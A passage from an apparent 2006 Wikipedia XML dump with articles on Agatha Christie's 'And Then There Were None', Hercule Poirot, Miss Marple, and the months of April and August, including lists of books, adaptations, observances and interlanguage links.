:Three little Indian boys walking in the zoo; 
::A big bear hugged one and then there were two. 
:Two little Indian boys sitting in the sun; 
::One got frizzled up and then there was one. 
:One little Indian boy left all alone; 
::He went and hanged himself and then there were none.

==Ten Little Indians and 'and then there was one' in Popular Culture==

The [[meme]]s 'Ten Little Indians' and 'and then there was one' have been used many times in modern days to refer to situations in stories - oftentimes [[slasher film]]s, other [[horror film]]s, and [[disaster film]]s - in which the characters die off one by one. This is how many films of those genres are structured, in order to provide gory scenes periodically, and to ultimately force the [[main character]] to face off against the [[villain]] alone. This main character in slasher films is often the '[[Final Girl]].'

==Trivia==
* &quot;And Then There Were None&quot; was adapted from [[Agatha Christie]]'s book into a video game in 2005 by [[The Adventure Company | The Adventure Company]]. It was released in November of that year to mixed reviews, most of the slack going to changing the &quot;Indians&quot; to &quot;Sailors,&quot; in a case of political correctness gone awry, and altering the killer's motive &amp; identity, though it is possible to see the original novel's ending when one finishes a puzzle after completing the main game. Four further books are to be adapted.

* &quot;Ten Little Indians&quot; is a song by [[The Yardbirds]] along the same lines with the rhyme, although more dismal. In the song, the death of each &quot;Indian&quot; is related to breaking one of the [[Ten Commandments]].

* A Japanese [[doujin]] game, [[Embodiment of Scarlet Devil]], features an extra stage of a girl having the spell card named &quot;And Then Will There be None?&quot;, and a theme music named &quot;Is she the U.N.Owen?&quot;. (U.N.Owen is the killer's alias used in the novel, play, and films.)

* &quot;Zehn Kleine [[Jägermeister]]&quot; (Ten Little &quot;Jägermeister&quot;) is a song by the German band [[Die Toten Hosen]], along the same lines as the rhyme, but with funny or satirical things happening to the characters (taking drugs, being arrested for tax evasion, dying of [[Mad Cow Disease]] etc)

* Polish 2003 film [[Show (film)|Show]], starring [[Cezary Pazura]], tells the story of a reality show located on a remote island. Suddenly, the competitors start to die one after another. One of the competitors even mention Agatha Christies' novel.

{{Agatha Christie}}

[[Category:1939 books]]
[[Category:Agatha Christie novels]]


[[fr:Dix petits nègres]]
[[pl:Dziesięciu małych Murzynków]]
[[pt:And Then There Were None]]
[[fi:Kymmenen pientä neekeripoikaa]]
[[sv:Tio små negerpojkar]]</text>
    </revision>
  </page>
  <page>
    <title>Hercule Poirot</title>
    <id>1000</id>
    <revision>
      <id>41079633</id>
      <timestamp>2006-02-24T22:43:39Z</timestamp>
      <contributor>
        <username>Dinsdagskind</username>
        <id>93722</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:David_Suchet_is_Hercule_Poirot.jpg|framed|[[David Suchet]] as Poirot]]
'''Hercule Poirot''' (pronounced {{IPA|[ɛʀkyl pwaʀo]}}) is a [[fictional character]], the primary detective of [[Agatha Christie]]'s novels. He appears in over 30 novels and over 50 short stories and is probably one of the most famous characters ever made. 

The character was born in [[Spa, Belgium|Spa]], [[Belgium]], and has worked as a Belgian police officer, notably in [[Brussels]], but moved to [[England]] during [[World War I]] and started a second career as a [[private investigator|private detective]].  Poirot is remarkable for his small stature and egg-shaped head, his cat-like green eyes, his meticulous moustache, his dandified dressing habits, his absolute obsession with order and neatness, and his disdain for detective methods that include crawling on hands and knees and looking for clues.  He prefers to examine the psychology of a crime to discover more evidence, once even betting his best friend and sometime partner, [[Arthur Hastings]], that he could solve a case simply by sitting in an easy chair and using his &quot;little grey cells.&quot;

Like a large number of detectives of the early days of mystery fiction (including [[Miss Marple]], [[Sherlock Holmes (character)|Sherlock Holmes]], and [[Father Brown]]), Poirot is unmarried.  The love of his life, Countess Vera Rossakoff, appears in the short stories &quot;The Double Clue&quot; and &quot;The Capture of Cerberus&quot; and the novel ''The Big Four''.

His fictional address (from his business card) is 56B Whitehaven Mansions,
Sandhurst Square, London W1. The building used in the series can be found on Charterhouse Square - City of London.

==Major novels==

The Poirot books take readers through the whole of his life in England, from the first book (''[[The Mysterious Affair at Styles]]''), where he is a refugee staying at Styles, to the last Poirot book (''[[Curtain (novel)|Curtain]]''), where he visits Styles once again before his death.  In between, Poirot solves cases outside England as well, including his most famous case, ''[[Murder on the Orient Express]]'' (1934).

Hercule Poirot became famous with the publication, in [[1926]], of ''[[The Murder of Roger Ackroyd]]'', whose surprising solution proved controversial.  The novel is still among the most famous of all detective novels: [[Edmund Wilson]] alludes to it in the title of his well-known attack on detective fiction, &quot;Who Cares Who Killed Roger Ackroyd?&quot;  Aside from ''Roger Ackroyd'', the most critically-acclaimed Poirot novels appeared from [[1932]] to [[1942]], including such acknowledged classics as ''Murder on the Orient Express'', ''[[The ABC Murders]]'' (1935), ''[[Cards on the Table]]'' (1936), and ''[[Death on the Nile]]'' (1937).  The last of these, a tale of multiple homicide upon a Nile steamer, was judged by the celebrated detective novelist [[John Dickson Carr]] to be among the ten greatest mystery novels of all time.

The [[1942]] novel ''[[Five Little Pigs]]'' (aka ''Murder in Retrospect''), in which Poirot investigates a murder committed sixteen years before by analyzing various accounts of the tragedy, is a ''[[Rashomon (movie)|Rashomon]]''-like performance that critic and mystery novelist Robert Barnard called the best of the Christie novels.

==Recurring characters==

While the majority of the supporting cast in the Poirot stories is always different, some characters do show up more often.  [[Arthur Hastings]], whom Poirot met almost immediately after arriving in England, becomes his life-long partner and appears in many of the novels and stories.  Other frequently recurring characters include the detective novelist [[Ariadne Oliver]], Agatha Christie's humorous self-caricature, and Poirot's secretary, Miss Lemon. [[Chief Inspector Japp]] of Scotland Yard appears in many of the stories, as well.  The mysterious [[Russia]]n Countess Vera Rossakoff, Poirot's only known love interest, appears in three stories.

==Books featuring Hercule Poirot==
''[[Short story]] collections listed as ss''

* ''[[The Mysterious Affair at Styles]]'' ([[1920]])
* ''[[Murder on the Links]]'' ([[1923]])
* ''[[Poirot Investigates]]'' ([[1924]], ''ss'')
* ''[[The Murder of Roger Ackroyd]]'' ([[1926]])
* ''[[The Big Four (novel)|The Big Four]]'' ([[1927]])
* ''[[The Mystery of the Blue Train]]'' ([[1928]]) 
* ''[[Peril at End House]]'' ([[1932]])
* ''[[Lord Edgware Dies]]'' ([[1933]])
* ''[[Murder on the Orient Express]]'' ([[1934]])
* ''[[Three Act Tragedy]]'' ([[1935]])
* ''[[Death in the Clouds]]'' (1935)
* ''[[The A.B.C. Murders]]'' ([[1936]])
* ''[[Cards on the Table]]'' (1936)
* ''[[Murder in Mesopotamia]]'' (1936)
* ''[[Death on the Nile]]'' ([[1937]])
* ''[[Dumb Witness]]'' (1937)
* ''[[Murder in the Mews]]'' (1937, ''ss'')
* ''[[Appointment with Death]]'' ([[1938]])
* ''[[Hercule Poirot's Christmas]]'' ([[1939]])
* ''[[One, Two, Buckle My Shoe]]'' ([[1940]])
* ''[[Sad Cypress]]'' (1940)
* ''[[Evil Under the Sun]]'' ([[1941]]) 
* ''[[Five Little Pigs]]'' ([[1942]])
* ''[[The Hollow]]'' ([[1946]])
* ''[[The Labours of Hercules]]'' ([[1947]])
* ''[[Taken at the Flood]]'' ([[1948]]) also published as ''There Is a Tide''
* ''[[Mrs McGinty's Dead]]'' ([[1952]])
* ''[[After the Funeral]]'' ([[1953]]) also published as ''Funerals are Fatal''
* ''[[Hickory Dickory Dock (novel)|Hickory Dickory Dock]]'' ([[1955]])
* ''[[Dead Man's Folly]]'' ([[1956]])
* ''[[Cat Among the Pigeons]]'' ([[1959]])
* ''[[The Clocks (novel)|The Clocks]]''  ([[1963]])
* ''[[Third Girl]]'' ([[1966]])
* ''[[Hallowe'en Party]]'' ([[1969]])
* ''[[Elephants Can Remember]]'' ([[1972]])
* ''[[Poirot's Early Cases]]'' ([[1974]], ss)
* ''[[Curtain (novel)|Curtain]]'' (written about 1940, published [[1975]])

==Hercule Poirot on screen and stage==
[[Image:Ustinov_is_Poirot.jpg|framed|[[Peter Ustinov]] as Poirot]]
{{sect-stub}}
Hercule Poirot has been played by several actors.  The character first appeared onscreen in [[1931]], played by [[Austin Trevor]].  Perhaps the most notable portrayals have been by [[Albert Finney]] in the cinematic version of ''[[Murder on the Orient Express]]'', and [[David Suchet]] in a long series of television productions.  The role has also been played more than once by [[Peter Ustinov]] and by [[Tony Randall]], [[Ian Holm]], and [[Alfred Molina]].

In 2004, [[NHK]] (a Japanese TV network) produced a 39 episode [[anime]] series titled ''[[Agatha Christie's Famous Detectives Poirot and Marple]] (Agatha Christie no Meitantei Poirot to Marple)'', as well as a manga series by the same title released starting in 2005. The series ran from [[July 4]], [[2004]] through [[May 15]], [[2005]], and is now being shown as [[rerun]]s on NHK and other networks in Japan. Poirot was voiced by [[Kōtarō Satomi]] (Satomi Kōtarō) and Miss Marple was voiced by [[Kaoru Yachigusa]] (Yachigusa Kaoru).

{{Agatha Christie}}

[[Category:Agatha Christie|Poirot, Hercule]]
[[Category:Fictional detectives|Poirot, Hercule]]
[[Category:Fictional Belgians|Poirot, Hercule]]

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[[zh:赫丘勒·白羅]]</text>
    </revision>
  </page>
  <page>
    <title>Miss Marple</title>
    <id>1002</id>
    <revision>
      <id>40408541</id>
      <timestamp>2006-02-20T09:20:47Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">[[Image:Joan_Hickson_is_Miss_Marple.jpg|thumb|[[Joan Hickson]] as '''Miss Marple''']]

'''Jane Marple''', usually known as '''Miss Marple''', is a [[fictional character]] appearing in many [[Agatha Christie]] novels.

She lives in the little village of [[St. Mary Mead]]. She looks like an ordinary [[spinster]], in [[Harris Tweed|tweed]] and with a curiosity as wide as the world, but when it comes to solving mysteries, she turns out to have a sharp logical mind. In the best [[detective fiction|detective story]] tradition, she often embarrasses the local &quot;professional&quot; police, usually by making an analogy with some village occurrence or character.  

==Personality==
When we first meet Jane Marple she is very much the stereotypical spinster of the last century — blue-eyed and frail, wearing a black lace cap and mittens, and constantly knitting. She is also a gleeful gossip and not especially nice. The first Marple novel, ''[[The Murder at the Vicarage]]'' sees a markedly different Marple to the one who would appear in later books, as she modernized and became nicer over the years.

Miss Marple's nephew, the &quot;well-known author&quot; Raymond West and his wife Joan (who first appeared as Joyce), a modern artist, were introduced in 1933 in ''[[The Thirteen Problems]]''. Raymond, in particular, is overconfident of himself and dismissive of Miss Marple's mental powers, though she continually upstages him in the end.

''[[A Murder is Announced]]'' ([[1950]]), Agatha Christie's fiftieth novel, is regarded by some as the best Miss Marple novel, and one of the best of Christie's [[whodunit]]s.

Miss Marple is able to solve difficult crimes not only because of her shrewd intelligence, but because St. Mary Mead, over her lifetime, has put on a pageant of human depravity rivaled only by that of [[Sodom and Gomorrah]]. No crime can arise without reminding Miss Marple of some parallel incident in the history of her time. 

As with her other famous detective [[Hercule Poirot]], Christie wrote a concluding novel to her Marple series, ''Sleeping Murder'', in [[1940]] and saved it for her old age, causing some embarrassing discrepancies as people who were written off as dead (such as Dolly Bantry's husband, Colonel Arthur Bantry) by the time her mystery &quot;Nemesis&quot; was published, which was the preceding Marple mystery '''but actually the last one written''', appear alive in ''Sleeping Murder'' having been resurrected from the fictional dead. ''Sleeping Murder'' was published in [[1976]], shortly after Christie's death, and was the last of her novels to be published, although, again, it was written in [[1940]].

==Books featuring Miss Marple==
* ''[[The Murder at the Vicarage]]'' ([[1930]])
* ''[[The Body in the Library]]'' ([[1942]])
* ''[[The Moving Finger]]'' ([[1943]])
* ''[[A Murder is Announced]]'' ([[1950]])
* ''[[They Do It with Mirrors]], or Murder With Mirrors'' ([[1952]])
* ''[[A Pocket Full of Rye]]'' ([[1953]])
* ''[[4.50 from Paddington|4.50 from Paddington, or What Mrs. McGillicuddy Saw!]]'' ([[1957]])
* ''[[The Mirror Crack'd from Side to Side]]'' ([[1962]])
* ''[[A Caribbean Mystery]]'' ([[1964]])
* ''[[At Bertram's Hotel]]'' ([[1965]])
* ''[[Nemesis (Christie)|Nemesis]]'' ([[1971]])
* ''[[Sleeping Murder]]'' (written around [[1940]], published [[1976]])

==Quotation==
*&quot;The young people think the old people are fools, but the old people ''know'' the young people are fools&quot; &amp;ndash; Miss Marple's motto, in several of the books and stories.
==[[Film|Movies]]==
[[Image:Margaret_Rutherford_is_Miss_Marple.jpg|thumb|right|[[Margaret Rutherford]] as '''Miss Marple''']]

Although popular from her first appearance in [[1930]], Jane Marple had to wait thirty-two years for her first big-screen appearance; when she made it, the results were disappointing to both Christie purists and Christie herself. ''[[Murder, She Said]]'' ([[1962]], directed by [[George Pollock]]) was the first of four British MGM productions starring Dame [[Margaret Rutherford]], a magnificent comic actress but too boisterous and loud for the prim and birdlike character Christie created. This first film was based on the [[1957]] novel ''4:50 from Paddington'' (U.S. title, ''What Mrs. McGillicuddy Saw!''), and the changes made in the plot were typical of the series. In the film, Mrs. McGillicuddy doesn't see anything because there is no Mrs. McGillicuddy. Miss Marple herself sees apparent murder committed on a train passing hers. Likewise, it is Miss Marple herself who poses as a maid to find out the facts of the case, not a young friend of hers who has made a business of it. 

The other Rutherford films (all directed by George Pollock) were ''Murder at the Gallop'' ([[1963]]), based on the [[1953]] Hercule Poirot novel ''[[After the Funeral]]''; ''Murder Most Foul'' ([[1964]]), based on the [[1952]] Poirot novel ''[[Mrs McGinty's Dead]]''; and ''Murder Ahoy'' ([[1964]]), not based on any Christie work. 

In [[1980]], [[Angela Lansbury]] played Miss Marple in ''The Mirror Crack'd'' (EMI, directed by [[Guy Hamilton]]), based on Christie's [[1962]] novel. However, Lansbury is only on screen for a short time, the bulk of the film being taken up with the machinations of an all-star cast that included [[Elizabeth Taylor]], [[Rock Hudson]], [[Geraldine Chaplin]], [[Tony Curtis]], and [[Kim Novak]]. [[Edward Fox]] appeared as Inspector Craddock, who did Miss Marple's legwork.

American stage and screen legend [[Helen Hayes]] portrayed Miss Marple in two American made-for-TV movies, both for [[CBS]]: ''A Caribbean Mystery'' ([[1983]]) and ''Murder with Mirrors'' ([[1984]]). [[Sue Grafton]] contributed to the screenplay of the former. Hayes's Marple was benign and chirpy.

==Television and Radio==
American TV was the setting for the first dramatic portrayal of Miss Marple. [[Gracie Fields]], a legendary British actress, played the geriatric sleuth in a [[1956]] episode of ''Goodyear TV Playhouse'' based on ''A Murder Is Announced'', the [[1950]] Christie novel. 

There was a long-running and popular [[British Broadcasting Corporation|BBC]] TV series in the [[1980s]] with [[Joan Hickson]], an octogenarian herself, who had appeared in a small role in the Rutherford film ''Murder, She Said''. The consensus among Christie devotees was that hers was the definitive performance. All twelve Miss Marple novels were dramatized: ''The Body in the Library''; ''The Moving Finger''; ''A Murder Is Announced''; ''A Pocket Full of Rye''; ''Murder at the Vicarage''; ''Sleeping Murder''; ''At Bertram's Hotel''; ''Nemesis''; ''4:50 from Paddington''; ''A Caribbean Mystery''; ''They Do It with Mirrors'' and ''The Mirror Crack'd from Side to Side''. All these serializations were shown in the United States on the [[PBS]] ''[http://www.pbs.org/wgbh/mystery/marple/index.html Mystery!]'' series. It was also televised in Germany.  The television show followed the plots of the books considerably more closely than did the Rutherford films.

[[BBC Radio 4]] also dramatised several of the books with [[June Whitfield]] as Miss Marple.  

[[Angela Lansbury]], after playing Miss Marple in ''The Mirror Crack'd'', went on to star in the TV series ''[[Murder, She Wrote]]'' as [[Jessica Fletcher]], a novelist who solves crimes. The character was to some degree based on Miss Marple and another Christie character, [[Ariadne Oliver]].

[[Image:Geraldine McEwan.jpg|thumb|right|Geraldine McEwan as Miss Marple]]
In 2004, [[Granada Television]], in collaboration with [[Agatha Christie Limited]], produced four adaptations (namely ''The Body in the Library'', ''Murder in the Vicarage'', ''4.50 from Paddington'' and ''A Murder is Announced'') starring [[Geraldine McEwan]] in the title role, and also featuring [[Joanna Lumley]], [[Ian Richardson]], [[Zoe Wanamaker]], [[Miriam Margolyes]], [[Janet McTeer]], [[Derek Jacobi]], [[Claire Skinner]] and [[Stephen Tompkinson]] in supporting roles. In 2005 and 2006, four more mysteries are being made...but two of them aren't even Miss Marple books! They are [[Sleeping Murder]], [[The Moving Finger]], [[By the Pricking of My Thumbs (novel)]], and [[The Sittaford Mystery]].

In 2004, [[NHK]] (a Japanese TV network) produced a 39 episode [[anime]] series titled ''[[Agatha Christie's Famous Detectives Poirot and Marple]] (アガサ・クリスティーの名探偵ポワロとマープル, Agasa Kurisutii no Meitantei Powaro to Maapuru)'', as well as a manga series by the same title released starting in 2005. The series ran from [[July 4]], [[2004]] through [[May 15]], [[2005]], and is now being shown as [[rerun]]s on NHK and other networks in Japan. Poirot was voiced by [[Kōtarō Satomi]] (里見 浩太朗, Satomi Kōtarō) and Miss Marple was voiced by [[Kaoru Yachigusa]] (八千草 薫, Yachigusa Kaoru).

{{Agatha Christie}}

==External links==

*[http://www.screenonline.org.uk/tv/id/976602/index.html British Film Institute Screen Online (1980s TV adaptations)]

[[Category:Fictional detectives|Marple, Miss]]
[[Category:Crime television series]]&lt;!-- until we get a separate article on the TV series --&gt;
[[Category:BBC television programmes]]
[[Category:Television programs based on novels]]
[[Category:Series of books]]
[[Category:English cultural icons]]
[[Category:Agatha Christie]]

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[[zh:珍·瑪波]]</text>
    </revision>
  </page>
  <page>
    <title>Apple (fruit)</title>
    <id>1003</id>
    <revision>
      <id>15899511</id>
      <timestamp>2003-06-30T01:13:13Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Apple]]</text>
    </revision>
  </page>
  <page>
    <title>April</title>
    <id>1004</id>
    <revision>
      <id>42000914</id>
      <timestamp>2006-03-03T03:34:31Z</timestamp>
      <contributor>
        <username>Anthonyken0109</username>
        <id>906087</id>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{AprilCalendar}}
{{wiktionarypar|April}}
'''April''' is the [[fourth]] [[month]] of the [[year]] in the [[Gregorian Calendar]] and one of four with the length of 30 [[day]]s.

April begins (astrologically) with the sun in the sign of [[Aries]] and ends in the sign of [[Taurus]]. Astronomically speaking, the sun begins in the constellation of [[Pisces]] and ends in the constellation of [[Aries]].

The derivation of the name ([[Latin]] ''aprillis'') is uncertain. The traditional etymology from the Latin ''aperire'', &quot;to open,&quot; in allusion to its being the season when trees and flowers begin to &quot;open,&quot; is supported by comparison with the modern Greek use of &amp;alpha;&amp;#788;&amp;nu;&amp;omicron;&amp;iota;&amp;xi;&amp;iota;&amp;sigmaf; (opening) for spring. Since all the Roman months were named in honour of divinities, and as April was sacred to Venus, the ''Festum Veneris et Fortunae Virilis'' being held on the first day, it has been suggested that Aprilis was originally her month Aphrilis, from her Greek name Aphrodite, or from the [[Etruscan language|Etruscan]] name ''Apru''. Jacob Grimm suggests the name of a hypothetical god or hero, ''Aper'' or ''Aprus''

The Anglo-Saxons called April ''Oster-monath'' or ''Eostur-monath'', the period sacred to ''Eostre'' or ''Ostara'', the pagan Saxon goddess of spring, from whose name is derived the modern Easter.  St George's day is the twenty-third of the month; and St Mark's Eve, with its superstition that the ghosts of those who are doomed to die within the year will be seen to pass into the church, falls on the twenty-fourth. In China the symbolical ploughing of the earth by the emperor and princes of the blood takes place in their third month, which frequently corresponds to our April; and in Japan the feast of Dolls is celebrated in the same month.

The &quot;days of April&quot; (''journées d'avril'') is a name appropriated in French history to a series of insurrections at Lyons, Paris and elsewhere, against the government of Louis Philippe in 1834, which led to violent repressive measures, and to a famous trial known as the ''procès d'avrill''. 

April was originally the second month of the [[Roman calendar]] and had 29 days. [[Julius Caesar]]'s calendar [[Julian calendar|reform]] in [[45 BCE]] resulted in April having 30 days and becoming the fourth month, as the year now began in [[January]].

==The tragic month of April==
Wars that started/ended in April include

*[[U.S. Revolutionary War|American Revolution Started]] (Paul Revere's Ride: [[April 18]]-19 1775)
*[[U.S. Civil War|American Civil War]] (Started April 1861, Ended April 1865, thus &quot;Across 5 Aprils&quot;)
*The [[Bosnian War]] began in the first days April 1992
*The [[Rwandan Genocide]] began in April 1994

Other Tragedies that have occurred in the month of April include
*President [[Abraham Lincoln]]'s Assassination ([[April 14]] [[1865]])
*1906 [[San Francisco Earthquake]] ([[April 18]] [[1906]])
*The sinking of the [[RMS Titanic|RMS ''Titanic'']] ([[April 14]]-15,1912)
*The [[Armenian Genocide]] ([[April 24]] [[1915]])
*[[Martin Luther King Jr.]] Assassinated ([[April 4]] [[1968]])
*Super Tornado Outbreak ([[April 3]]-4, 1974)
*[[Chernobyl]] nuclear accident ([[April 26]] [[1986]])
*The bloody end to the Branch Dividan siege in Waco, Texas ([[April 19]] [[1993]])
*The [[Oklahoma City Bombing]] ([[April 19]] [[1995]])
*In [[Lebanon]], 102 [[Lebanon|Lebanese]] civilians are killed when the [[Israel Defense Forces]] shell the [[UN]] compound at [[Qana]] (see [[Qana Massacre]]). ([[April 18]] [[1996]])
*[[Columbine High School]] shooting ([[April 20]] [[1999]])

==Trivia==
*April begins on the same day of week as July in all years and also January in leap years.
*April's [[flower]] is the [[Bellis|daisy]] and [[sweet pea]].
*April's [[birthstone]] is the [[diamond]].
*April in the [[Northern Hemisphere]] is the seasonal equivalent to [[October]] in the [[Southern Hemisphere]] and vise versa.

==Events in Aprils==
===Monthlong events in April===
*Chocolate Eaters Month
*Poetry Month
*Cancer Control Month
*Marcus H. Birthday (National Holiday in Australia)
*Child Abuse Prevention Month
*International Guitar Month
*Mathematics Education Month
*National Humor Month
*National Welding Month
*National Smile Month
*National Pecan Month 
*VD Awareness Month
*Stress Awareness Month
*Alcohol Awareness Month
*Autism Awareness Month
*Keep America Beautiful Month

===Weeklong events in April===
1st Week in April
*Medic Alert Week
*Cherry Blossom Festival
*Publicity Stunt Week
*National Birthparents Week
*Week of the Young Child
*Straw Hat Week
*National Bake Week (begins 1st Mon)
*Consider Christianity Week
*National Reading a Road Map Week

2nd Week in April
*Be Kind to Animals Week
*Masters Golf Tournament
*National Medical Laboratory Week
*Private Property Week (10th-16th)
*National Library Week
*Harmony Week
*National Garden Week
*TV Turn-Off Week
*National Guitar Week
*National Building Safety Week
*National Home Safety Week

3rd Week in April
*National Police Week
*Boys and Girls Club Week
*National Coin Week
*Bike Safety Week
*National Bubblegum Week
*Pan American Week
*National Week of the Ocean
*National Crime Victims’ Rights Week
*National Volunteer Week 
*National Adult Films Week

Last Week in April
*Forest Week
*National Lingerie Week
*Canada-US Goodwill Week
*Big Brothers/Sisters Appreciation Week
*Consumer Protection Week
*National TV-Free Week
*Jewish Heritage Week
*Keep America Beautiful Week
*National YMCA Week
*Professional Secretaries Week
*Intergenerational Week
*Reading Is Fun Week
*Egg Salad Week
*Teacher Appreciation Week (begins Last Mon)

A Week in April
*Astronomy Week (determined by 1st Quarter Moon)

===April movable daily holidays===
1st Sunday
*Set-Your Clock-Forward-Day (Daylight Saving Time begins in the United States; turn your clock ahead at 2:00 a.m.)
*Budoha Day (Hawaii)
*Vesak (Buddha's Birthday)
1st Saturday
*Saturday Market Day (Oregon)
1st Saturday before 5th
*Tax Saturday (UK)
1st Thursday
*Glarus Festival (Switzerland)
1st Friday
*Student Government Day (Massachusetts)
Friday after 1st
*Arbor Day (Apache, Navajo, Coconino, Mohave, Yavapai; Arizona)
2nd Friday
*Audubon Day
3rd Sunday &amp; Monday
*Sechselauten (Six Ringing Festival; Switzerland)
3rd Monday
*Patriot's Day (Maine, Massachusetts)
*Boston Marathon
Thursday between 19th &amp; 26th
*First Day of Summer (Iceland)
Saturday nearest St. George's Day (23rd)
*Peppercorn Day (Bermuda)
Monday nearest Feast Day of St. George (23rd)
*St. George's Day (Newfoundland)
Sunday after 1st full moon after vernal equinox following Passover
*Lambri (Bright Day; Greece)
3rd Monday
*Patriots' Day (Maine, Massachusetts)
4th Monday
*Fast Day (New Hampshire)
4th Thursday
*Take Our Daughters (and Sons) to Work Day
4th Weekend
*Just Pray No weekend
Last Monday
*Confederate Memorial Day (Alabama, Mississippi)
Last Friday
*Arbor Day
*Bird Day
Wednesday of Last Full Week
*Administrative Professionals Day
Last Saturday
*[[National Sense of Smell Day]] ([[USA]])

===April Indeterminate Holidays===
Full Moon Day of 6th Buddhist month (@ Apr/May)
*Vesak
Sun enters Aries
*Solar New Year (Southeast Asia)
*aka Thingyan (Burma)
*aka Songkran (Thailand)
10th through 15th Day of 2nd lunar month
*Paro Tsechu (Bhutan)
During planting season (@ Apr/May)
*Tyi Wara (Mali)
Early April to late July (every 4 years)
*Summer Olympics begin
Late April or May
*Alp Aufzug (Switzerland)
Before 1st rainfall (@ Apr/May)
*Bobo Masquerade (Burkina Faso)
Sometime in April
*World Championship Cow Chip Throwing Contest
*Palm Sunday - Christian
*Palm Sunday - Armenian Christian
*Good Friday - Christian
*Easter - Christian
*Pesach (Passover) - Jewish

===Other special days===
*April Fools' Day ([[April 1]])

==See also==
* [[List of historical anniversaries]]
* [[April-Fools' Day]]

==References==
* Chambers's ''Book of Days''
* Grimm's ''Geschichte der deutschen Sprache''. Cap. &quot;Monate&quot;
* {{1911}}

{{months}}

[[Category:Months]]

[[af:April]]
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[[ang:Ēastermōnaþ]]
[[ar:إبريل]]
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[[fur:Avrîl]]
[[fy:April]]
[[ga:Aibreán]]
[[gl:Abril]]
[[he:אפריל]]
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[[hu:Április]]
[[ia:April]]
[[id:April]]
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[[io:Aprilo]]
[[is:Apríl]]
[[it:Aprile]]
[[ja:4月]]
[[jv:April]]
[[ka:აპრილი]]
[[kn:ಎಪ್ರಿಲ್]]
[[ko:4월]]
[[ku:Avrêl]]
[[kw:Mys Ebrel]]
[[la:Aprilis]]
[[lb:Abrëll]]
[[li:April]]
[[lt:Balandis]]
[[lv:Aprīlis]]
[[mi:Paenga-whāwhā]]
[[mr:एप्रिल]]
[[ms:April]]
[[nap:Abbrile]]
[[nl:April]]
[[nn:April]]
[[no:April]]
[[oc:Abril]]
[[pl:Kwiecień]]
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[[ro:Aprilie]]
[[ru:Апрель]]
[[scn:Aprili]]
[[sco:Aprile]]
[[se:Cuoŋománnu]]
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[[tr:Nisan]]
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[[vi:Tháng tư]]
[[vo:Prilul]]
[[wa:Avri]]
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    </revision>
  </page>
  <page>
    <title>August</title>
    <id>1005</id>
    <revision>
      <id>42001275</id>
      <timestamp>2006-03-03T03:38:27Z</timestamp>
      <contributor>
        <username>Anthonyken0109</username>
        <id>906087</id>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{AugustCalendar}}

'''August''' is the [[eighth]] month of the [[year]] in the [[Gregorian Calendar]] and one of seven Gregorian months with the length of 31 [[days]].

August begins (astrologically) with the sun in the sign of [[Leo]] and ends in the sign of [[Virgo]]. Astronomically speaking, the sun begins in the constellation of [[Cancer (constellation)|Cancer]] and ends in the constellation of [[Leo]].

August was named in honor of [[Augustus]]. The month reputedly has 31 days because Augustus wanted as many days as [[Julius Caesar]]'s [[July]]. Augustus placed the month where it is because that is when [[Cleopatra VII of Egypt|Cleopatra]] died.  Before Augustus renamed August, it was called ''[[Sextilis]]'' in [[Latin]], since it was the sixth month in the [[Roman calendar]] which started in [[March]].

In the [[neopaganism|pagan]] [[wheel of the year]] August begins at or near [[Lughnasadh]] in the [[northern hemisphere]] and [[Imbolc]] in the [[southern hemisphere]].

In [[Ireland]], (in the [[Irish language]])  August is known as '''Lúnasa''', a modern rendition of [[Lughnasadh]], named after the god [[Lugh]] and  [[August 1]], (Lá Lúnasa) in the [[Irish Calendar]] is still regarded as the first day of [[Autumn]]. The first Monday in August is one of the [[public holidays in the Republic of Ireland]].

In the [[Japanese calendar|old Japanese calendar]], the month is called ''hatsuki'' (&amp;#33865;&amp;#26376;).

In [[Finnish language|Finnish]], the month is called ''elokuu'', meaning &quot;month of reaping&quot;.

In the [[UK]], August is generally when all academic exam results are published, especially for [[GCSE]]s and [[A-Levels]] as well as other exams. Also, scholars and school workers such as teachers, have a holiday or non-contact time, and there are two bank holidays (UK). It is typically when people go on holiday due to the availability of time.  

During August 13 to 19, [[Philippines]] schools and theaters celebrate the National Week of the [[Tagalog|Filipino]] Language.

In [[Spain]], August is the holiday month for most workers.

In [[Brazil]], folk superstition associates bad luck to August, with the proverb ''&quot;Agosto, o mês do desgosto&quot;'' (&quot;August, the month of misfortune&quot;) being often heard. This may come from the sinister memories of the [[Bartholomew|St. Bartholomew]]'s day (August 24), which is particularly dreaded in the Northeast of the country. August 24 is also, in the tradition of [[Candomblé]], the day of [[Eshu]], one of the most malevolent deities. Coincidentally, some unfortunate polical events took place in August, like the suicide of the then President [[Getúlio Vargas]]. [http://www.tvgazeta.com.br/todoseu/assuntos_programas_notas.php?v_id_notas=55&amp;r_titulo=A]

Every last Sunday of August, the [[Philippines]] celebrates National Heroes Day in commemoration of the First Cry of the Philippine Revolution on [[August 23]], [[1896]].

August is also the name of a Japanese [[visual novel]] company.

==Events &amp; Months in August==
* National Back To School Month
* National Investors Month
* Admit You're Happy Month
* Women's Small Business Month

==Trivia==
[[Image:Les Très Riches Heures du duc de Berry aout.jpg|right|thumb|August, from the ''Très riches heures du duc de Berry'']]

*'''August''' begins on the same day of the week as '''February''' in a leap year.
*August's [[flower]] is the [[poppy]].
*August's [[birthstone]] is the [[peridot]].
*August contains no [[United States]] holiday.
*August in the [[Northern Hemisphere]] is the seasonal equivalent to [[February]] in the [[Southern Hemisphere]] and vise versa.
{{wiktionary}}
{{months}}

[[Category:Months]]

[[af:Augustus]]
[[als:August]]
[[ang:Wēodmōnaþ]]
[[ar:أغسطس]]
[[an:Agosto]]
[[ast:Agostu]]
[[bg:Август]]
[[be:Жнівень]]
[[bs:August]]
[[br:Eost]]
[[ca:Agost]]
[[ceb:Agosto]]
[[cv:Çурла]]
[[cs:Srpen]]
[[cy:Awst]]
[[da:August]]
[[de:August]]
[[et:August]]
[[el:Αύγουστος]]
[[es:Agosto]]
[[eo:Aŭgusto]]
[[eu:Abuztu]]
[[fa:اوت]]
[[fo:August]]
[[fr:Août]]
[[fy:Augustus]]
[[fur:Avost]]
[[ga:Lúnasa]]
[[gl:Agosto]]
[[ko:8월]]
[[hr:Kolovoz]]
